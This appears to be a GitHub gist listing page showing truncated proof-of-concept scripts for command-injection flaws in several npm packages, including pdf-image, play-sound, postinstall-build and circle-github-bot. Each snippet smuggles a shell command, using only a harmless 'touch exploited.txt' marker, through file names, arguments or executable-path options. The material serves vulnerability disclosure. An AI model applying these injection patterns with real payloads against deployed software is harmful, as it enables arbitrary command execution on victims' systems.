This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* "index.js" is the package's file. | |
*/ | |
'use strict'; | |
const util = require('util'); | |
const fs = require('fs'); | |
const { exec } = require('child_process'); | |
const debug = util.debuglog('node-openssl'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('circle-github-bot'); | |
const i = new pkg(); | |
i.env = {}; | |
// This will create a local 'exploited.txt' file. | |
i.curl('', ' | touch exploited.txt', ''); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('cssnano'); | |
const options = { | |
preset: function() { | |
const fs = require('node:fs'); | |
let fd = fs.openSync('exploited.txt', 'a'); | |
fs.closeSync(fd); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('protractor-video-reporter'); | |
console.log(pkg); | |
const options = { | |
ffmpegCmd: 'touch', | |
ffmpegArgs: ['exploited.txt'] | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('postinstall-build'); | |
process.argv.push('touch'); | |
process.argv.push('touch exploited.txt'); | |
/* | |
* This will lead to exec(cmd) with cmd = 'touch exploited.txt' on | |
* line #326 of src/index.js. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('pdf-merge'); | |
const args = ['exploited.txt', '']; | |
const options = { | |
libPath: 'touch' | |
}; | |
/* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('pdf-image'); | |
console.log(pkg); | |
const pdfFilePath = '" | touch exploited.txt "'; | |
const options = { | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('msedgedriver'); | |
pkg.path = '/usr/bin/touch'; | |
const args = ['exploited.txt']; | |
const returnPromise = false; | |
// This will create a local 'exploited.txt' file. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const fs = require('node:fs'); | |
const path = require('node:path'); | |
/* | |
* Create a local 'custom.js' file so that the program flow can | |
* continue within the call below. | |
*/ | |
const filename = path.join(process.cwd(), 'custom.js'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('play-sound'); | |
const opts = { | |
player: 'touch' | |
}; | |
const play = pkg(opts); | |
const what = 'exploited.txt'; | |
const options = { |
NewerOlder